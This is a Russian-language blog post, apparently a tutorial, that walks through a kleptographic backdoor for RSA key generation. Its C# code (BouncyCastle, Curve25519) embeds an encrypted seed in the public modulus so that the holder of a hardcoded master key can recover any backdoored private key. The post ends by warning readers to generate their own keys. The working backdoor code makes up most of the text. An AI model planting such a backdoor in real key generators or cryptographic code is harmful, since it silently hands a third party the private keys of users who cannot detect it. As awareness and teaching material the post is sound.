Встраиваем бэкдор в публичный ключ RSA

Итак, представьте, что у вас есть доступ к генератору ключей RSA и вы хотите в дальнейшем дать кому-то возможность узнавать закрытый ключ безо всяких факторизаций и прочих квантовых компьютеров. Что нам для этого понадобится?

Я буду сразу же бросаться кодом на C#, который использует BouncyCastle и Chaos.NaCl (эта библиотечка реализует Curve25519)

1) PRNG

Нам нужен ГПСЧ, который инициализируется секретным значением. Будем использовать AES s режиме CTR

using System; using System.ComponentModel; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Prng; using Org.BouncyCastle.Security;  namespace RsaBackdoor.Backdoor { 	class SeededGenerator:IRandomGenerator 	{ 		private readonly AesFastEngine _engine = new AesFastEngine(); 		private readonly byte[] _counter = new byte[16]; 		private readonly byte[] _buf = new byte[16]; 		private int bufOffset = 0;  		public SeededGenerator(byte[] key) 		{ 			_engine.Init(true, new KeyParameter(key)); 			MakeBytes(); 		}  		private void MakeBytes() 		{ 			bufOffset = 0; 			_engine.ProcessBlock(_counter, 0, _buf, 0); 			IncrementCounter(); 		}  		public void IncrementCounter() 		{ 			for (int i = 0; i < _counter.Length; i++) 			{ 				_counter[i]++; 				if (_counter[i] != 0) 					break; 			} 		}  		public void AddSeedMaterial(byte[] seed) 		{ 			 		}  		public void AddSeedMaterial(long seed) 		{ 			 		}  		public void NextBytes(byte[] bytes) 		{ 			NextBytes(bytes, 0, bytes.Length); 		}  		public void NextBytes(byte[] bytes, int start, int len) 		{ 			var count = 0; 			while (count < len) 			{ 				var amount = Math.Min(_buf.Length - bufOffset, len - count); 				Array.Copy(_buf, bufOffset, bytes, start + count, amount); 				count += amount; 				bufOffset += amount; 				if (bufOffset >= _buf.Length) 				{ 					MakeBytes(); 				} 			} 		} 	} }  

2) Вспомним про замечательную Curve25519, а именно тот факт, что любая 32байтная последовательность является для неё валидным закрытым ключом, а открытый ключ получается тоже всегда 32 байта.
Заранее сгенерируем мастер ключ и запишем его куда-нибудь в константу.

		private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8"; 		private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR); 

Для каждой ключевой пары RSA, которую мы будем генерировать, мы так же будем генерировать случайную ключевую пару Curve25519, а потом считать общий секрет от публичного ключа этой пары и нашего приватного. Этот секрет будет ключом для нашего ГПСЧ из п.1

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload) 		{ 			var rnd = new SecureRandom(); 			var priv = new byte[32]; 			rnd.NextBytes(priv); 			payload = MontgomeryCurve25519.GetPublicKey(priv); 			seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); 		} 

Открытый ключ Curve25519, который мы в дальнейшем используем для вычисления seed — это «полезная нагрузка» или payload. Мы будем пытаться запихнуть его в открытый ключ RSA

3) Генерируем ключевую пару RSA, используя этот ГПСЧ и наш seed.

			var publicExponent = new BigInteger("10001", 16); 			var keygen = new RsaKeyPairGenerator(); 			keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80)); 			var pair = keygen.GenerateKeyPair(); 

Здесь стоит напомнить, что основа ключей RSA — это всегда два простых числа p и q. Их произведение — открытый ключ. В данном случае при помощи нашего ГПСЧ ищутся два числа размером 2048 бит и далее из них конструируется ключевая пара.

4) Берем публичную экспоненту n, которая равна p*q и заменяем в ней часть байт на наш payload. Возьмем байты постарше, чтобы их не перетёрло в дальнейшем. Смещение в 80 байт должно сработать.

			var paramz = ((RsaPrivateCrtKeyParameters) pair.Private); 			var modulus = paramz.Modulus.ToByteArray(); 			Replace(modulus, payload, 80); // 80 - это смещение 

4) У нас теперь есть новая экспонента n’, Нужно перегенерить остальные параметры с учетом новой n’, а именно:

4.1) Считаем новую q’. У нас на данном этапе она будет черт пойми чем, но это не страшно
q’ = n’ / p
4.2.) От новой q’ ищем новое простое число. Когда мы его найдем, нижние биты будут перетёрты. Но верхние останутся такими же. Это то, чего мы добивались.

			var p = paramz.P; 			var n = new BigInteger(modulus); 			var preQ = n.Divide(p); 			var q  = preQ.NextProbablePrime(); 

После того, как у нас есть новая q, мы считаем все параметры ключевой пары, кроме, p, заново.

		public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent) 		{ 			if (p.Max(q).Equals(q)) 			{ 				var tmp = p; 				p = q; 				q = tmp; 			}  			var modulus = p.Multiply(q);  			var p1 = p.Subtract(BigInteger.One); 			var q1 = q.Subtract(BigInteger.One); 			var phi = p1.Multiply(q1); 			var privateExponent = publicExponent.ModInverse(phi); 			var dP = privateExponent.Remainder(p1); 			var dQ = privateExponent.Remainder(q1); 			var qInv = q.ModInverse(p);  			var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);  			return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv); 		} 

И в итоге получаем валидную ключевую пару, в публичном ключе которой скрылся наш Payload — а именно, информация о том, как получить seed, а затем и вожделенный закрытый ключ.

Мы можем его извлечь

public byte[] ExtractPayload(RsaKeyParameters pub) 		{ 			var modulus = pub.Modulus.ToByteArray(); 			var payload = new byte[32]; 			Array.Copy(modulus, 80, payload, 0, 32); 			return payload; 		} 

Вычислить seed и прогнать процесс заново, чтобы получить закрытый ключ

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload) 		{ 			var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); 			return BuildKey(seed, payload); 		} 

Таким образом, только мы, владея закрытым ключом Сurve25519 можем вычислить закрытый ключ любого забекдоренного нами RSA ключа.

Где это можно применить? Да где угодно. Вы никогда не докажете, что в ключевых парах, выдаваемых вам банками и другими неконтролируемыми вами источниками нет таких закладок. Определить наличие такой закладки невозможно! Поэтому старайтесь генерировать их сами. Ну и уходите с RSA по возможности.

Сорцы для поиграть тут